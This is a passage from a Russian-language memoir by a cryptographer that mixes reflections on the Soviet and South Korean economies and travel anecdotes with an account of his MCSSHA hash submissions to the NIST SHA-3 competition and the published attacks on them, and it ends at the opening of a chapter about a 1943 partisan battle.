если производительные силы каждый день оболванивать по

телевизору «дорогим и любимым» и прочим коммунистическим

пустозвонством.

 

Итак, в СССР производительные силы были брошены на

произвол судьбы в угоду нефтедолларам. А в Южной Корее -

наоборот, производственные отношения были брошены на

произвол судьбы в угоду развития производительных сил. В 60-х

годах в Южной Корее установилось военное правление,

основной задачей которого было развитие экономики, ибо

халявных нефтедолларов в Южной Корее нет и вряд ли они

появятся в обозримом будущем. И в полном соответствии с

марксизмом, опережающее развитие производительных сил

- 77 -

«подтянуло» за собой, причем мирно и ненасильственно,

развитие демократии и гармонии в обществе, которые здесь с

тех пор выступают в роли производственных отношений. В 1987

году военные сами передали правление демократически

избранным гражданским властям.

А в СССР в 80-е годы – облом! Рухнули нефтяные цены, иссяк

поток нефтедолларов. Современной экономики нет, караул,

караул! Начинаем перестройку производственных отношений.

Производительные силы при этом подождут. Голые полки

магазинов, всеобщие дефицит и ажиотаж, революция в августе

1991 года – все в точности по Карлу Марксу, как ни пытались его

все это время подправлять. Нефтяные цены затем опять

поднялись, халява вернулась, с тех пор и до самого последнего

момента так и висит над Россией это проклятие –

нефтедоллары, которые не дают развиваться экономике, плодят

коррупцию и презрение власти к своему народу, готовят

очередную революцию. Неужели и вправду: «Учение Маркса

всесильно, потому что оно верно»? Ждем очередного падения

цены бочки? Или Маркс все-таки был не совсем прав и не

предвидел появления Интернет, который, в противовес

телевизионному одурачиванию, сможет заставить правителей не

лгать и не воровать, и тогда наложенное на Россию в 60-е годы

проклятие спадет?

 

Если бы не эти проклятые нефтяные деньги! Коммунизма, как

обещал Хрущев, наверное, не построили бы, но более-менее

приличную и честную жизнь наш народ, прошедший войну,

несомненно, заслуживал.

И вот, попав в Сеул, я убедился в том, что история знает

сослагательное наклонение. Если бы не эти проклятые

нефтяные деньги, то наша экономика пошла бы по похожему

пути, по которому пошли корейцы, и я уверен, что к середине 80

х годов бренды советских фирм были бы распространены по

миру не хуже, чем Samsung, LG или Hyundai. А вместе со

здоровой экономикой мы получили бы здоровые общественные

отношения, при которых человек, производящий материальные

блага, занимает более высокое положение в обществе, чем тот,

кто эти блага распределяет, реальное равенство всех перед

законом, отсутствие вызывающего лицемерия со стороны

- 78 -

власти.

Это, в общем, достаточно тривиальные философские истины,

гораздо интереснее реальные, конкретные примеры из жизни

корейцев и не только их, которыми я с радостью готов

поделиться с читателями этой книги.

 

Korea. Example 1.

Интуитивно ясно, что пробки на дорогах в Корее неизбежны.

Страна с высоким уровнем жизни, с высокой плотностью

населения и большим количеством автомобилей на душу

населения. На машине на север не поедешь, там наши братья

по соцлагерю отбили всю охоту к ним ездить, остается только юг.

Из Сеула на юг есть не очень-то много дорог, все-таки не наша

равнина – везде горы. Летом, когда от жары в Сеуле плавятся

мозги, те бедолаги - корейцы, которые решились поехать на

своих машинах на юг искупаться на тихоокеанском побережье –

километров 350 – 400 от Сеула, - могут из-за сплошных пробок

растянуть свое путешествие на 10 – 12 часов в один конец.

За все время своего пребывания в Корее я не видел ни одной

чиновничьей машины с мигалкой. Роскошные лимузины –

пожалуйста. Но все они – в общей очереди, в общих пробках. А

один случай меня особенно поразил.

На очередной осенний пикник нашу фирму вывезли на юг где-то

километров за 150 от Сеула. После традиционной программы

пикника вечером в субботу возвращаемся назад в Сеул, время –

около 6 вечера, дорога – сплошная пробка, а до Сеула еще

пилить километров 100. Я уже мысленно прикидываю, во

сколько доберемся до цели, дай бог, чтобы к тому времени не

закрылось метро. Поделился своими печальными мыслями с

корейским боссом, а он мне в ответ: «Не бойся, сейчас выедем

на трассу номер 1 и за час доедем до Сеула». Я сначала не

поверил: трасса номер 1 – это основная дорога на юг, уж где-где,

а там-то пробок должно быть еще больше. Но он мне пояснил:

по инициативе Президента Кореи был принят закон о

выделенной крайней левой полосе на трассе 1. Эта полоса

предназначена только для автобусов, везде висят камеры

наблюдения, за выезд легковой машины на эту полосу – штраф

около 300$. В каждом автобусе пассажиров примерно в 10 раз

больше, чем в легковой автомашине, поэтому логично

- 79 -

Фото похоже на наше картофельное поле. Только выращивают

на нем не картошку, а красный перец – национальную корейскую

еду. Дело было где-то в марте месяце, еще достаточно

прохладно, вот грядки и укрыты пленкой. А за полем не сельский

клуб, а здание национального корейского парламента. Уж не

парламентарии ли решили выращивать здесь в свободное от

заседаний время перцы?

предоставить автобусам отдельную полосу. «А как же

высокопоставленные корейские чиновники, они что, на юг не

ездят?» - спросит нормальный россиянин. Ездят. Но либо со

всеми в автобусе, либо в своей машине в общей пробке.

Все в точности так и произошло. Выехав на трассу 1, наш

автобус пробрался в крайнюю левую полосу, которую никто не

занимал, газанул под 100 и через час мы были в Сеуле. А я все

время вспоминал Кутузовский проспект и как там относятся к

простым россиянам при проезде правительственных кортежей.

 

Korea. Example 2.

- 80 -

Если да, то такие парламентарии лично мне очень симпатичны.

Тогда получается, что парламент – место для дискуссий, а рядом

– место для совместного выращивания перцев после дискуссий,

и всем такая демократия по душе.

 

Вообще-то про корейскую политическую систему можно тоже

сказать пару слов, хотя в ее детали я особенно не вдавался. Но

некоторые ее штрихи были заметны невооруженным взглядом.

Во-первых, день выборов в Корее – всегда в середине недели и

он объявляется выходным днем. На мой взгляд, не пойти

проголосовать при таких условиях просто стыдно. А во-вторых,

реклама кандидатов абсолютно равномерная, это видно даже

иностранцу, прогуливающемуся в предвыборный период по

улицам Сеула.

 

 

 

Hong Kong. Example 3.

«Гонконг – свободный город, туда виза не нужна» - так

уверял меня мой корейский босс mr. Lee. Все так. Почти.

Дело было в 2005 году. Мы с mr. Lee собрались в турне «Китай

Гонконг», причем сначала в Китай, в Шенг-Шен, тот, что рядом с

Гонконгом, а затем и в сам Гонконг. Вроде как бизнес-турне,

поиск потенциальных партнеров. Искали потенциальных

производителей смарт-карт и их считывателей. В Китае – все

подешевле, но качество лучше в Гонконге. Билеты на самолет

куплены, и уже в самом корейском аэропорту Инчеон

выясняется, что хотя Гонконг и свободный город, но не для всех.

Россиянам в те времена туда требовалась отдельная виза.

Вообще-то полуофициальная интерпретация была такая: в

Гонконг свободно пускают почти всех, за исключением исламских

террористов (Пакистан), бандитов и проституток (Россия). Хоть

стой, хоть падай: через полчаса заканчивается регистрация на

рейс, а в моем загранпаспорте есть виза в Китай, но нет визы в

Гонконг. Поскольку рейс на самолет был до Гонконга и обратно,

то в корейском аэропорту Инчеон приняли соломоново решение

о том, что делать с этим русским: в Гонконге, не выходя из

аэропорта, сразу же двигай на Ferry-Terminal, откуда

отправляется катер в Китай. А обратно – точно так же: сразу с

- 81 -

катера – на самолет, не переходя зону пограничного контроля.

Причем перелет «туда» пограничники смогли проконтролировать:

в Гонконгском аэропорту меня, не доходя до зоны пограничного

контроля, встречала миловидная девушка с плакатиком «mr.

Maslennikov», которая и проводила до того самого Ferry-Terminal,

откуда отплывал катер в Китай. А вот обратно… Mr. Lee был

настроен как-то не по-чиновничьи: запланирована встреча в

Гонконге с крупным производителем считывателей для смарт

карт – Advanced Card Systems (ACS). На руках есть обратный

билет в Сеул, неужели в Гонконге на пограничном контроле не

поймут, что я не бандит и не проститутка и не пропустят по

российскому загранпаспорту без визы? Короче, идем через

пограничный контроль в Гонконге, а там куда кривая вывезет.

На пограничном контроле в Гонконге кривая, естественно,

вывезла меня к начальнице службы пограничного контроля. Это

была сравнительно молодая женщина лет 30-ти, стройная и

говорящая на безукоризненном английском языке.

 

- Почему Вы прибыли в Гонконг без визы?

 

Мой корейский босс объяснил ей, что мы бизнесмены и

хотим наладить сотрудничество с гонконгской компанией ACS. А

я, достав из сумки свой Notebook, стал объяснять этой

очаровательной женщине про CSP, электронную подпись и

систему Internet Banking. И дальше произошло то, что не

укладывается в голове у любого россиянина, хоть раз в жизни

сталкивавшегося с российскими чиновниками. Начальница

службы пограничного контроля Гонконгского аэропорта, проще

говоря, обычная гонконгская чиновница, вдруг заявляет:

 

- Да, я вижу, что Вы представляете интерес для моей

страны. Прошу Вас, подождите немного, я попробую связаться с

моим боссом и помочь Вам.

 

Минут через 30 ко мне подходит ее подчиненный и говорит,

что разрешение выдать мне визу получено. Нужно ее оплатить,

это, если мне сейчас не изменяет память, 74 доллара, но

оплатить нужно в местной валюте. Даю ему 100-долларовую

купюру. Он извиняется за то, что мне пока не разрешен выход

- 82 -

за пределы зоны пограничного контроля, и если я не возражаю,

он сейчас сходит и разменяет ее. Сон какой-то. Еще через 15

минут этот чиновник приносит мне паспорт с гонконгской визой и

26 долларов сдачи. Занавес.

 

Представим себе, на минутку, аналогичную картину,

например, в Шереметьево-2: кореец прилетел в Россию без визы

и на пограничном контроле начал что-то парить про CSP,

электронную подпись и Internet Banking…

Нет, не нужно в этой книге раскручивать дальше сценарий

подобного фильма ужасов.

 

 

- 83 -

MCSSHA

 

SHA-1 – нестойкий! Такая новость облетела криптографический

мир в 2005 году. Но ведь SHA-1 – алгоритм хеширования, а в

алгоритме хеширования нет никаких секретных ключей, здесь

ничего не шифруется, что понимается под его стойкостью? Тут

надо заметить, что одной из основных сфер использования

алгоритма хеширования является ЭЦП, когда для применения

математического аппарата электронной подписи сообщение

произвольной длины нужно «сжать» в его хеш-функцию

фиксированной длины, из которой затем с помощью секретного

асимметричного ключа вычисляется подпись, а с помощью

открытого - проверяется. Здесь слово «сжать» умышленно

поставлено в кавычки, поскольку классическое сжатие

предполагает возможность последующего восстановления

исходного сообщения из сжатого текста, а для алгоритма

хеширования, наоборот, возможность восстановления исходного

сообщения из его хеш-функции должна быть практически

исключена. Насколько сложно по хеш-функции восстановить

хешируемое сообщение или получить какую-нибудь информацию

о нем – это первый критерий оценки стойкости хеш-функции.

Сообщений произвольной длины бесконечно много, а значений

хеш-функции фиксированной длины – конечное число, поэтому

заведомо существуют различные сообщения, обладающие

одинаковыми хеш-функциями. Насколько сложно их найти –

второй критерий стойкости алгоритма хеширования. Пару

сообщений с одинаковыми хеш-функциями в криптографии

принято называть коллизией хеш-функции, причем коллизии

бывают двух сортов: первого, когда требуется подобрать

сообщение с той же хеш-функцией к некоторому

фиксированному сообщению, и второго, когда просто требуется

найти произвольную пару сообщений с одинаковыми хеш

функциями.

Давайте попробуем представит себе идеальную хеш-функцию,

т.е. такую, для которой по каждому из приведенных выше

критериев самые лучшие из оценок – это brute force, метод

грубой силы. Каковы будут оценки brute force для хеш-функции?

Начнем с первого критерия. Тут, вроде, все понятно: дергаем

случайные сообщения, вычисляем для каждого из них

- 84 -

хеш-функцию и проверяем ее на совпадение с имеющимся у нас

значением хеш-функции. Если предположить, что длина хеш

функции равна 2n бит, то самым эффективным должен быть

метод выбора случайных сообщений и каждое из них должно

давать в качестве хеш-функции случайный и равновероятный

вектор длины n, или, выражаясь официальным языком, preimage

resistance of approximately n bits. Та же самая оценка будет

справедлива и для нахождения коллизии первого сорта. А вот

для нахождения коллизии второго сорта потребуется в среднем

2n/2 опробований – тут вступает в силу парадокс дней рождения.

На упоминавшемся выше официальном языке это называется

collision resistance of approximately n/2 bits. Такая получается

картина идеальной хеш-функции.

Что же произошло с SHA1? В статье Брюса Шнайера

Cryptanalysis of SHA-1, опубликованной 18 февраля 2005 года,

утверждается, что три китайских криптографа смогли найти

метод построения коллизии второго сорта для SHA1 за 269

операций. Если учесть, что длина хеш-функции SHA1 составляет

20 байт или 160 бит, то идеальная хеш-функция такой длины

должна требовать в среднем 280 опробований для решения

подобной задачи. Следовательно, SHA1, как следует из этой

статьи, не является идеальной хеш-функцией. А 269 – это

примерно 1021. Не такая уж астрономическая величина, а с

криптографической точки зрения просто критическая. У Брюса

Шнайера даются оценки времени и трудоемкости ее

практического решения - 1757 дней (4,81 лет) усилиями 331252

пользователей. SHA1 является в настоящее время, пожалуй,

самым распространенным в мире алгоритмом хеширования.

Даже такие чисто абстрактные подозрения в его ненадежности

вынудили американский NIST (National Institute of Standard and

Technology) принять срочные меры. 2 ноября 2007 года был

объявлен открытый конкурс на разработку хеш-функций третьего

поколения – SHA-3. Тут надо заметить, что хеш-функции второго

поколения – SHA-2 – уже есть, они были разработаны

американским АНБ, но по каким-то причинам NIST решил

подстраховаться и провести открытый конкурс на SHA-3.

Требования к кандидатам SHA-3 были опубликованы на сайте

NIST, если взять их криптографическую часть, то требование

было одно: NISTу требовались идеальные хеш-функции, не

- 85 -

допускающие среди известных в настоящее время методов

анализа иных, кроме brute force.

Я впервые услышал о конкурсе SHA-3 в конце июня 2008 года.

Один из выпускников 4 факультета ВКШ КГБ Игорь С. одним из

первых «прорубил окно в Европу» и уехал жить в Норвегию. Там

он больше был связан с теоретической криптографией, чем я в

Корее, и, прочитав в Internet мою первую книжку «Криптография

и Свобода», прислал мне письмо, из которого я и узнал об

SHA-3. Я с радостью ухватился за эту мысль: после всех

программистских баталий вспомнить про теорию и предложить

NIST свой оригинальный вариант SHA-3, благо идей на этот счет

было предостаточно: читатель первой книги наверняка помнит

шифры на новой элементной базе и логарифмические

подстановки. Эти оригинальные криптографические решения,

которым было отдано много лет жизни, так и остались во многом

невостребованными, и это меня все время угнетало. Так

родились алгоритмы хеширования типа MCSSHA.

Сроки поджимали. Deadline для приема заявок на участие в

конкурсе SHA-3 – 31 октября 2008 года. Следовательно, на все

про все (разработка, анализ и оформление) у меня оставалось

около 4-х месяцев. Особенно удручала невозможность какого

бы то ни было квалифицированного обсуждения моих идей по

MCSSHA, ибо те корейцы, с которыми я в то время работал, о

теоретической криптографии имели весьма туманное

представление. Так что весь криптоанализ MCSSHA проходил по

примерно такой схеме: в выходные на целый день я уходил в

горы и там, лазая по горным тропам, все время прикидывал те

или иные возможности использования идей шифров на новой

элементной базе для хеширования. И вот до чего в конце концов

долазился.

Попробуем использовать для хеширования упоминавшийся в

первой книге «Криптография и Свобода» неавтономный

регулярный регистр сдвига над кольцом вычетов по модулю 256

(над байтами). Вот его рисуночек.

- 86 -

Идея использования подобного регистра для хеширования

напрашивается сама собой: фиксируем какое-то начальное

заполнение регистра и подаем сообщение на вход - x1,x2,…xL.

Или что-то в этом роде… Дело в том, что в явном виде подавать

сообщение на вход нельзя, сразу же возникнут коллизии –

получающаяся система из N нелинейных уравнений

элементарно решается и строятся пары с одинаковыми хеш

функциями. Как с этим бороться и в этой борьбе не слишком

сильно усложнить такую красивую и элементарную реализацию?

С этим вопросом, мучавшим меня около двух месяцев, я лазил

по Bukhansan и Dobongsan и все никак не мог придумать

удовлетворительного решения. А вот на горе с простым и

понятным названием Namhansanseong осенило: нужны дырки!

Дальше вынужден начать писать формулы… Ничего не

могу с собой поделать, дорогой мой читатель, сейчас начнутся

математические дебри. Так что самых мужественных и

терпеливых приглашаю лезть в эти дебри и дальше, а

большинству нормальных читателей – сесть на пенек, съесть

пирожок и малость подождать, пока любители

криптографического экстрима не налазаются по

Namhansanseong.

Если символами (yi,yi+1,…,yi+N-1) обозначить заполнение

регистра сдвига в i-ый такт работы, то в (i+1)-ый такт оно будет

(yi+1,yi+2,…,yi+N), где yi+N= π(yi–yi+1–yi+N-4+ yi+N-1) + xi.

Заполнение регистра полностью обновляется за N тактов

работы:

yi+N= π(yi–yi+1–yi+N-4+ yi+N-1) + xi

yi+N+ 1= π(yi+1–yi+2–yi+N-3+ yi+N) + xi+1

……………………………………………………………….

yi+2N- 1= π(yi+N-1–yi+N–yi+2N-5+ yi+2N-2) + xi+N-1

При простой подаче сообщения на вход регистра из этой

системы коллизия видна невооруженным взглядом: берем

произвольное сообщение, вычисляем соответствующее ему

значение регистра сдвига и элементарными арифметическими

операциями решаем систему из N уравнений с N неизвестными

– находим все xi, необходимые для того, чтобы получить нужное

конечное заполнение регистра. Ну а если сообщение на вход

подавать не сплошняком, а с дырками, например на один знак

сообщения две дырки, что это даст? Да почти все, что доктор

прописал!

- 87 -

- 88 -

Любой нормальный читатель после 71-й строчки наверняка

подумает: «Лучше бы остался на пеньке кушать кондитерские

изделия!» Спокойно, спокойно, спокойно! Мы почти на

верхушке. Давайте оглянемся назад и попробуем понять, для

чего было карабкаться непонятно куда.

Итак, у нас есть некоторое фиксированное конечное

заполнение регистра после t тактов работы: (yt,yt+1,…,yt+N-1),

которое было получено после подачи на вход регистра длины

N некоторого сообщения M1 = m1(0),m1(1),…,m1(j) при том,

что прокрутка осуществлялась с «дырками»: после подачи на

вход одного байта сообщения – два «холостых» такта, т.е.

таких, когда на вход подается 0. Мы хотим его

«захватить» (capture), т.е. подобрать другое сообщение M2 =

m2(0),m2(1),…,m2(j), такое, что его конечное заполнение (zt,z

+1,…,zt+N-1) будет совпадать с (yt,yt+1,…,yt+N-1). Сообщение

начинаем подбирать не с начала, а с конца. Например, первая

строка таблицы – это заполнения регистров за один шаг до

совпадения - (yt-1,yt,…,yt+62) и (zt-1,zt,…,zt+62). Отличие в них

может быть только по одной координате: yt-1 ≠ zt-1. Поскольку

на последнем шаге значение m2(j) добавляется линейно, то

обеспечить совпадение последней координаты не составит

никаких проблем: m2(j) = π(yt-1–yt–yt+59+yt+62)+m1(j) - π(zt-1

zt–zt+59+zt+62). Здесь вероятность правильного подбора

равна 1. А вот за два шага до совпадения ситуация иная. На

вход подается дырка, и совпадение получается только в том

случае, если было обеспечено выполнение условия yt-2

yt-1=zt-2–zt-1. Дырка свое дело сделала, подобрать какие-то

соотношения для символов M2, при которых это равенство

выполнялось бы безусловно, не удается, остается только

предполагать, что такое может случиться с вероятностью 2-8.

Именно это и требуется для хеширования. Поехали дальше.

За три шага до совпадения. Условие совпадения: yt-3

yt-2=zt-3–zt-2. А вот тут-то, отъехав назад аж до 67 шага,

видим, что подбором значения m2(j-22) можно добиться этого

совпадения с вероятностью, близкой к 1. Действительно, это

же элемент знакомой нам по первой книге матрицы частот

P(π), у которой на пересечении i-ой строки и j-го столбца стоит

число решений системы:

- 89 -

Экстрим закончен, дальше можно двигаться спокойнее. Наводим

блеск и лакировку на оригинальную криптографическую идею

дырок на входе в регистр.

 

Выдавать заполнение регистра в явном виде в качестве

результата хеширования нельзя.

Ну, например, потому, что от последнего знака текста зависит

только последний знак регистра, а это противоречит

x – y = i;

π(x) – π(y) = j;

 

А в логарифмической подстановке это число почти всегда равно

1 для ненулевых i и j.

Так может не надо использовать логарифмические подстановки в

MCSSHA? Нет, мне кажется, что именно логарифмические

подстановки наиболее пригодны для MCSSHA, ибо с их

помощью можно получить гарантированные оценки трудоемкости

подобного метода захвата. Решение системы с большой

вероятностью однозначное, следовательно, требуемое значение

m2(j-22) - тоже только одно. Но тогда на других местах с

«чистыми дырками» (например на упоминавшемся выше шаге 2

до захвата) требуемые соотношения получаются с вероятностью

2-8, ибо возможностей для подбора предыдущих значений M2 не

остается никаких других, кроме случайных. А если взять, к

примеру, антипод логарифмической подстановки – линейную

подстановку π(x) = ax + b, то, как нетрудно видеть, ей никакие

дырки не помогут, система разваливается и элементарно

решается.

 

Исходя из этих соображений, я получил оценки вероятности

«захвата» для алгоритма MCSSHA при различных значениях

длины регистра:

- 90 -

требованиям NIST: любое изменение в тексте должно приводить

к появлению абсолютно новой, случайной и равновероятной

хеш-функции. Ну, тут уже проблем меньше: подача текста на

вход закончилась, можно подать полученное заполнение в

качестве входа на такой же или подобный регистр, но уже без

всяких дырок, и прокрутить несколько раз. Именно это я и

сделал, в результате получился алгоритм хеширования

MCSSHA-3, который я и послал в NIST в установленные

регламентом сроки, т.е. до наступления deadline.

 

«Головокружение от успехов». Именно такими словами товарища

Сталина я бы сейчас охарактеризовал свои действия в

последние недели перед deadline. За короткие сроки придуман

оригинальный алгоритм, решена давно не дававшая мне покоя

задача пристроить куда-нибудь логарифмические подстановки,

оценки стойкости – ломовые, скорость – весьма приличная. А

блеск и лакировка – дело десятое, главное – оригинальная идея!

 

«NIST will NOT accept modifications to the submitted algorithms

during Round 1». Этой фразе в требованиях NIST я поначалу не

придавал значения: исследовательская задача, как же с первого

раза – и безо всяких изменений и доработок? А потом

интуитивно ясно, что главная задача моего участия в этом

конкурсе – публично заявить об оригинальных российских

криптографических идеях и разработках, которые по разным

причинам оказались похоронены в России. Надеяться на то, что

эти идеи окажутся приняты в качестве нового мирового

стандарта хеширования, можно было только втайне от самого

себя. Мне больше была интересна реакция на них «мировой

криптографической общественности», внешние

криптографические аргументы и контраргументы за и против них.

 

Итак, наступил долгожданный deadline и появились описания

всех алгоритмов-кандидатов, допущенных NIST для участия в

первом раунде конкурса. Одновременно появился

полуофициальный сайт с очень симпатичным названием: The

SHA-3 Zoo. Там тоже есть все кандидаты, а также мнения о

каждом из них независимых криптографических экспертов.

- 91 -

Оппонентами алгоритмов хеширования типа MCSSHA стали

Jean-Philippe Aumasson (Nagravision SA, Switzerland) and Mar´ıa

Naya-Plasencia (INRIA projet-team SECRET, France). С MCSSHA-3

они обошлись по-простому, не вдаваясь ни в какие дебри. В нем

длина регистра при подаче на него хешируемого сообщения

была в точности равна длине требуемой хеш-функции. В

регистре есть «критические точки», т.е. такие, на которые при

построении последнего заполнения поступали знаки сообщения.

Остальные, на которые поступали «дырки», назовем

некритическими. В MCSSHA-3 на один знак сообщения

приходилось три «дырки», поэтому ¼ часть точек – критическая,

а ¾ - нет. Генерим случайные сообщения, совпадения

критических точек обеспечиваем решением уравнений, а

некритические точки – методом, использующим парадокс дней

рождения. Сокращение трудоемкости с требуемых 2N/2 до 23N

8. Тут же на «клетку» с MCSSHA-3 в SHA-3 Zoo повесили

табличку «2nd preimage», что означает: получено снижение

оценок стойкости по сравнению с brute force при анализе по

поиску коллизий второго типа.

 

Лазил, лазил по горам, а до такой очевидной вещи так и не

долез! И ведь защититься от нее – элементарно. Ну кто,

спрашивается, просил меня на первом этапе, пока сообщение

подается на вход регистра, делать длину регистра равной длине

хеш-функции? Явное головокружение от успехов, сделал бы на

первом этапе длину регистра раза в два больше, благо на

скорости это почти никак не сказывается: в программной

реализации сдвигаются не сами байты в регистре, а точки

съема, значение которых затем приводится по модулю длины

регистра. Даже в некоторых случаях будет быстрее. Например,

при N = 224 и 384 я зачем-то приводил значения точек съема по

этим модулям, в то время как если бы взять, например, длину

регистра 256 или 512, то и приведение по этим модулям

реализуется быстрее. Ну и самое главное: в MCSSHA-3 я

использовал три «дырки» после каждого знака, а увеличив длину

регистра можно вполне обойтись и двумя и опять-таки увеличить

скорость. Приведение же к нужной длине запросто можно

осуществить на втором этапе, когда включившее в себя все

знаки сообщения заполнение регистра подается на вход другого

- 92 -

регистра, длина которого уже совпадает с длиной хеш-функции.

«Поезд ушел» - примерно так ответили мне в NIST, когда я

попросил внести изменения в свою заявку. Но описание

алгоритма MCSSHA-4, в котором проблемы MCSSHA-3 были

устранены, я всеми правдами и неправдами протащил в

материалы The First SHA-3 candidate conference, которая

проходила в бельгийском городе Leuven с 25 по 28 февраля

2009 года.

 

С «дырками» ситуация прояснилась, те подходы, которые имели

место для MCSSHA-3 оказались непригодны, когда длина

регистра при подаче на его вход сообщения была увеличена в

два раза. Вроде остается пустячок: заполнение фиксированной

длины пропустить пару раз через регистр нужной длины. И тут

мои зоркие оппоненты подметили то, что от меня ускользнуло.

Возьмем, к примеру, длину хеш-функции равной 32 байтам.

Одним из требований к идеальной хеш-функции является то,

чтобы трудоемкость построения сообщения с фиксированным

значение хеш-функции составляла в данном случае примерно

232*8 операций. На этом требовании и подловили меня мои

оппоненты в MCSSHA-4.

 

На первом этапе (pre-image computation) используется регистр

длиной 64 байта, а на втором (final hash computation) – 32 байта.

Займемся повнимательнее вторым этапом. В нем на регистр

длины 32 два раза подается одно и то же входное слово длины

64, при этом начальное заполнение регистра R0 = (0, 1, 2,…,31).

Попробуем построить сообщение, которое на первом этапе дает

конечное заполнение y0,y1,…,y63 такое, при котором на втором

этапе R0 переходит само в себя. Методика простая: для

произвольных случайных y0,y1,…,y31 вычисляем состояние R1

регистра и для него однозначно находим y32’,y33’,…,y63’,

переводящие его в R0. Дергаем случайные сообщения,

получаем какие-то y0, y1,…,y31, вычисляем для них y32’,y33’

…,y63’ и пытаемся дописать сообщение так, чтобы последующие

32 байта совпали с y32’,y33’,…,y63’. Из этих 32 байт 22 –

случайные, приходящиеся на «дырки», а 10 – на символы текста,

которые однозначно подбираем. Если удалось подобрать, то

значение хеш-функции такого сообщения будет совпадать с R0.

- 93 -

Трудоемкость – 222*8, не выполнено условие «preimage

resistance of approximately n bits».

 

Да, JP & Marıa (именно так они всегда подписывали свои письма,

посылаемые мне по e-mail) нельзя было отказать в

оригинальности их криптографического мышления. На

Namhansanseong не полезли, обошлись без экстрима.

Я тогда сильно переживал за свои «головокружения от успехов».

Неужели хорошая и перспективная идея с «дырками» в

неавтономном регулярном регистре сдвига оказалась

перечеркнутой от того, что мне не пришло в голову сразу же

навести на нее необходимый криптографический блеск?

Лихорадочно сделанные и помещенные на мой корейский сайт

(сейчас он, к сожалению, закрыт, и ссылки на него из NIST не

работают) очередные две модернизации: MCSSHA-5 и

MCSSHA-6, к сожалению, не прикрыли полностью проблемы

второго этапа алгоритмов типа MCSSHA. Во второй раунд SHA-3

моя заявка не прошла, и я потерял к этому конкурсу

первоначальный интерес.

 

Сейчас, спустя почти три года после этих событий, мне по

прежнему кажется, что идею «регистра с дырками» можно

довести до совершенства и создать на ее основе идеальную

хеш-функцию, не допускающую никаких снижений трудоемкости

по сравнению с brute force. И защититься от атаки JP & Marıa

тоже можно сравнительно несложно: например, второй раз

подавать на вход регистра перевернутый вектор y0,y1,…,y63.

Для оценки и сравнения скорости работы алгоритмов типа

MCSSHA я послал их в Иллинойс профессору Бернштейну. Там

сейчас проводится тестирование скорости всех присланных

алгоритмов хеширования на различных компьютерах. Результаты

показывают, что по скорости MCSSHA является далеко не

худшим из известных алгоритмов хеширования. Вот, например,

один из последних результатов.

 

amd64; Bulldozer (600f12); 2011 AMD FX-8150; 4 x 3600MHz;

bulldozer, supercop-20120310

 

- 94 -

 

- 95 -

В 2009 году последствия мирового экономического кризиса

затронули и Южную Корею. В начале 2009 года сильно упал курс

национальной корейской валюты – вона. Еще в начале 2008 года

1 доллар стоил примерно 950 вон, то в феврале этот курс

опустился до 1600, правда, ненадолго, всего через месяц он

поднялся до 1300 вон. Меня все чаще стало тянуть домой, в

Россию. Масса идей: как сделать полноценный Internet-Banking,

как применять международные криптографические стандарты,

CSP, PKCS#11, смарт-карты. И, наконец, сколько можно

использовать тяжеловесные и медленные национальные

криптографические алгоритмы, в частности алгоритм

хеширования ГОСТ Р 3411? Былые обиды за 6 с лишним лет

пребывания в Сеуле немного подзабылись, но иллюзий насчет

открытых криптографических конкурсов и коренного изменения

криптографической политики в России у меня не было. Был за

плечами накопленный за 6 лет опыт работы в зарубежной

компании, масса собственных разработок и, наконец, опыт

выхода в «мировое криптографическое сообщество» со своими

MCSSHA.

 

Может быть, в каком-то, не знаю уж и каком, будущем эти идеи

смогут стать востребованными в России?

 

- 96 -

- 97 -

12 мая 1943 года

 

 

Я долго не решался писать эту главу. Не был уверен в том, что у

меня есть моральное право в такой книге рассказывать о

ребятах, которые жили в другом измерении и не просто жили, а

сложили свои головы за то, чтобы у меня сейчас была

возможность рассуждать про криптографию и свободу.

«Спасибо деду за победу» - такой слоган сейчас часто

можно увидеть на заднем стекле многих машин. Это, на мой

взгляд, не официоз, не навязанная пропаганда, а истинное

желание нынешнего поколения поблагодарить своих отцов и

дедов, выразить восхищение их подвигом – победой в жуткой и

кровопролитной войне с немцами. Георгиевская ленточка тоже

стала одним из самых популярных символов. Так почему бы мне

не прикрепить свою георгиевскую ленточку к этой книге? Тем

более, что эту ленточку, на мой взгляд, нужно тянуть к

современным российским проблемам: если наши отцы не

боялись немецких ягдкоманд, то почему сейчас мы, их

наследники, должны бояться вороватых российских чиновников?

Почему из-за них мы должны бежать из своей страны?

Такие вопросы я стал все чаще задавать себе после

нескольких лет жизни в Корее. И в результате в этой книге

появилась своя Георгиевская ленточка.

 

...........................

12 мая 1943 года, деревня Княжино Смоленской области,

недалеко от границы с Белоруссией.

- Партизаны, сдавайтесь, вы окружены,

сопротивление бесполезно.

Настроение у немецкой ягдкоманды – егерей, посланных

по приказу фюрера в русские леса охотиться на партизан, - было

превосходным. Сегодня охота должна быть успешной.

Партизаны окружены ротой егерей, помощи ждать им неоткуда,

по немецкой инструкции им дали время на размышление о своей

судьбе, и теперь, в ясный майский день – заключительная и

наиболее интересная часть охоты. А будут ли они вообще

сопротивляться в этой глуши, километров за 200 от линии

фронта, где нет никакой надежды на поддержку? Ведь вся

высотка, где они засели,

- 98 -

заблокирована ягдкомандой, у которой есть минометы и даже

пушка. Эти русские партизаны должны быть захвачены, как

следует избиты и публично повешены в Смоленске в назидание

другим таким же партизанам, которые еще водятся в этих глухих

местах. А егеря, как и положено охотникам, вечером выпьют

шнапса за фюрера, великую Германию и удачную охоту.

Предвкушая острые ощущения, немецкие егеря полезли на

высотку, где засели русские партизаны...

.............................

 

Никогда еще жители деревни Княжино не видели столько

немецких трупов. Их вывозили немецкими военными машинами

с той высотки, что неподалеку от деревни, и где несколько часов

шел бой с партизанами. Оставшиеся в живых немцы были в

шоке, подавлены и уже не мечтали ни о какой охоте, а слово

«русский партизан» вызывало у них страх и ужас. А над Княжино

так и витало: «Ну и наложили же здесь немцев наши

партизаны!» Когда стемнело, местные жители Иван Захаренков,

Матрена Шукаева и Мария Сазоненкова пошли к высотке

посмотреть на место боя и на героев-партизан: сколько их было

и кто они?

А партизан было всего 6 человек, пятеро – 20 летние

совсем молодые еще ребята и 24-летний командир. Все тела

изуродованы осатаневшими немцами. «Сынки, сынки...» -

заплакали над ними женщины. Тогда, сразу же после боя, они

посадили на месте их гибели 6 кустов шиповника – каждому по

кусту, и захоронили героев.

Позже княжинцы узнали, что это были гвардейцы –

минеры. Их забросили в Смоленскую область в середине

апреля. На фронте после Сталинграда было затишье, но все

понимали, что враг еще силен и лето 1943 года будет жарким.

Смоленская область – удобный плацдарм для удара по Москве,

это понимали и советское и немецкое командование. Наше

